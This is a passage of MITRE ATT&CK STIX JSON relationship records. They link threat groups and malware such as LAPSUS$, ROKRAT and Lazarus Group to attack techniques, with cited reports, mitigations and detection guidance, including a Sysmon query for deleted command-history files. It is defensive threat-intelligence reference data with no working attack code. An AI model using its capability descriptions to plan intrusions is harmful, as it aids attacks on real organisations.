2017)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d15d091e-a720-4fb5-acfc-0982e23fe185","type":"relationship","created":"2020-01-24T15:00:47.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-01-24T15:00:47.394Z","relationship_type":"revoked-by","source_ref":"attack-pattern--7c93aa74-4bc0-4a9e-90ea-f25f86301566","target_ref":"attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1651c82-8b4e-4aef-b065-732cf12e7b79","type":"relationship","created":"2021-01-22T16:08:40.748Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-01-22T16:08:40.748Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1667060-2bbe-41df-94eb-ce8b68fb084d","type":"relationship","created":"2020-01-17T19:19:05.372Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-09-16T15:49:58.697Z","description":"Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. ","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d16d59aa-f056-4cc7-9f67-0e80db9cdacb","type":"relationship","created":"2017-05-31T21:33:27.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"}],"modified":"2021-11-02T21:07:07.542Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) bypassed User Access Control (UAC).(Citation: Cymmetria Patchwork)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d17517a1-f941-46a0-bcb6-d2a5b94cb24b","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/n1nj4sec/pupy","description":"Nicolas Verdier. (n.d.). Retrieved January 29, 2018.","source_name":"GitHub Pupy"}],"modified":"2020-03-16T17:14:24.367Z","description":"[Pupy](https://attack.mitre.org/software/S0192) can obtain a list of SIDs and provide the option for selecting process tokens to impersonate.(Citation: GitHub Pupy)","relationship_type":"uses","source_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d17caf39-87c7-48a2-a146-8cdf28f034ef","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d17ee0b3-4f2b-4d6f-ae10-7934d4e9126d","type":"relationship","created":"2021-02-08T23:18:31.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Crowdstrike Indrik November 2018","url":"https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/","description":"Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021."}],"modified":"2021-02-08T23:18:31.835Z","description":"[BitPaymer](https://attack.mitre.org/software/S0570) can enumerate the sessions for each user logged onto the infected host.(Citation: Crowdstrike Indrik November 2018)","relationship_type":"uses","source_ref":"malware--fa766a65-5136-4ff3-8429-36d08eaa0100","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d17f93ce-f419-4297-a6dd-9d745df31b92","created":"2022-06-10T16:38:33.157Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has used Windows built-in tool `ntdsutil` to extract the Active Directory (AD) database.(Citation: MSTIC DEV-0537 Mar 2022)","modified":"2022-06-10T16:38:33.157Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d17fcc24-a9ae-4841-b35b-f694b3991fba","created":"2021-01-22T13:35:37.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.429Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has exfiltrated stolen data to OneDrive accounts.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d186a22f-f42e-43f4-b161-36f2d1714f04","type":"relationship","created":"2021-06-21T13:20:12.305Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist APT10 March 2021","url":"https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/","description":"GREAT. (2021, March 30). APT10: sophisticated multi-layered loader Ecipekac discovered in A41APT campaign. Retrieved June 17, 2021."}],"modified":"2021-06-21T14:26:11.097Z","description":"[Ecipekac](https://attack.mitre.org/software/S0624) can abuse the legitimate application policytool.exe to load a malicious DLL.(Citation: Securelist APT10 March 2021)","relationship_type":"uses","source_ref":"malware--292eb0c5-b8e8-4af6-9e8f-0fda6b4528d3","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d18d7fab-1f10-4b83-83e1-a288ec4db2bd","type":"relationship","created":"2019-01-29T17:59:44.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.240Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) checks for the existence of a Registry key and if it contains certain values.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d18f30d7-deca-457c-b993-c87843ae3bab","created":"2023-09-14T18:58:53.520Z","revoked":false,"external_references":[{"source_name":"CrowdStrike PIONEER KITTEN August 2020","description":"Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020.","url":"https://www.crowdstrike.com/blog/who-is-pioneer-kitten/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-14T18:58:53.520Z","description":"(Citation: CrowdStrike PIONEER KITTEN August 2020)","relationship_type":"uses","source_ref":"intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee","target_ref":"tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d19730a1-429d-4044-8c17-3e475033a6c2","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T22:18:52.742Z","description":"Monitor for newly constructed network connections that may attempt to exfiltrate data over a different network medium than the command and control channel. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.\n\nNote: Network Analysis frameworks such as Zeek can be used to capture, decode, and alert on TCP network connection creation. The below analytic is using an event ID from OSQuery. ","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d199fd95-0954-451d-a21f-d0b6b99495c3","created":"2024-09-25T13:41:05.988Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T13:41:05.988Z","description":"Monitor for common cryptomining software process names that may indicate compromise and resource usage.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1a17f31-c62f-4ec3-9a77-41e6a339a657","type":"relationship","created":"2020-05-21T17:07:02.444Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCCGroup RokRat Nov 2018","url":"https://research.nccgroup.com/2018/11/08/rokrat-analysis/","description":"Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."},{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."},{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:11.515Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can collect host data and specific file types.(Citation: NCCGroup RokRat Nov 2018)(Citation: Volexity InkySquid RokRAT August 2021)(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1a2cd6c-1c7b-4c1a-9416-106e7951642c","type":"relationship","created":"2021-09-28T18:53:02.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-15T15:03:46.316Z","description":"[MarkiRAT](https://attack.mitre.org/software/S0652) can check for the Telegram installation directory by enumerating the files on disk.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1a489c9-f937-4cc8-85d0-b4ce6b961a62","type":"relationship","created":"2021-10-06T19:46:33.579Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-10-14T20:53:27.380Z","description":"[BADFLICK](https://attack.mitre.org/software/S0642) can decode shellcode using a custom rotating XOR cipher.(Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"malware--57d83eac-a2ea-42b0-a7b2-c80c55157790","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1ae7dee-ba9d-4988-bd9e-eff2fe8b0cd2","type":"relationship","created":"2022-03-30T14:26:51.869Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.869Z","description":"Monitor suspicious programs execution through services. These processes may show up as outlier processes that have not been seen before when compared against historical data.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d1af80bc-f27a-46ef-9dea-4aa67a6a83f6","created":"2022-03-30T14:26:51.837Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:31:17.410Z","description":"Monitor for unexpected deletion of a command history file, such as ConsoleHost_history.txt, ~/.zsh_history, or ~/.bash_history.\n\nAnalytic 1 - Deletion of command history files\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"23\") OR (source=\"*WinEventLog:Security\" EventCode=\"4663\") FilePath LIKE '%ConsoleHost_history.txt%' AND\n ObjectType == \"File\" AND\n (UserAccessList LIKE '%1537%' OR \n UserAccessList LIKE '%DELETE%'))","relationship_type":"detects","source_ref":"x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8","target_ref":"attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d1b3314d-4676-4479-85e8-c2b087a25c81","created":"2024-09-16T14:51:06.643Z","revoked":false,"external_references":[{"source_name":"Github_SILENTTRINITY","description":"byt3bl33d3r. (n.d.). SILENTTRINITY. Retrieved September 12, 2024.","url":"https://github.com/byt3bl33d3r/SILENTTRINITY"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T14:51:06.643Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can downgrade NTLM to capture NTLM hashes.(Citation: Github_SILENTTRINITY) ","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1b46f3e-b25c-43c0-9ab2-ef6e5ff8270c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2020-03-20T18:02:57.179Z","description":"An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant used Base64 to encode communications to the C2 server.(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d1b6a397-4f29-4274-8394-1d5ca4fe9fc7","created":"2023-06-14T19:11:01.671Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-06-26T20:10:13.833Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can decrypt command parameters sent through C2 and use unpacking code to extract its packed executable.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d1bd6ce6-eb5f-41a1-b26f-4fe0d83e51ea","created":"2023-03-17T15:35:48.668Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Lazarus Nov 2020","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"},{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"},{"source_name":"McAfee Lazarus Jul 2020","description":"Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"},{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T14:49:31.434Z","description":"For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) developed custom tools such as Sumarta, DBLL Dropper, [Torisma](https://attack.mitre.org/software/S0678), and [DRATzarus](https://attack.mitre.org/software/S0694) for their operations.(Citation: ClearSky Lazarus Aug 2020)(Citation: ESET Lazarus Jun 2020)(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d1c6f29d-56e0-4d46-a7ec-a6d0a868cde3","created":"2024-01-23T20:32:35.947Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T20:32:35.947Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has used WMI to execute scripts for post exploit document collection.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d1c822a9-efbd-42d6-9627-60cc5348bf0f","created":"2022-03-30T14:26:51.832Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor logs and other sources of command execution history for actions that could be taken to gather information about accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.","modified":"2022-04-14T14:00:35.321Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1d27a0f-ae6d-4058-b0ad-581aaf939e4a","type":"relationship","created":"2021-10-01T20:57:16.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid BLUELIGHT August 2021","url":"https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/","description":"Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021."}],"modified":"2021-10-15T16:54:01.209Z","description":"[BLUELIGHT](https://attack.mitre.org/software/S0657) can collect the local time on a compromised host.(Citation: Volexity InkySquid BLUELIGHT August 2021)","relationship_type":"uses","source_ref":"malware--8bd47506-29ae-44ea-a5c1-c57e8a1ab6b0","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d1d496f1-fa91-404e-a93a-97670817717a","type":"relationship","created":"2019-01-30T17:33:41.163Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.","url":"https://securelist.com/muddywater/88059/","source_name":"Securelist MuddyWater Oct 2018"},{"source_name":"Trend Micro Muddy Water March 2021","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."}],"modified":"2021-03-19T13:43:29.624Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim’s username.(Citation: Securelist MuddyWater Oct 2018)(Citation: Trend Micro Muddy Water March 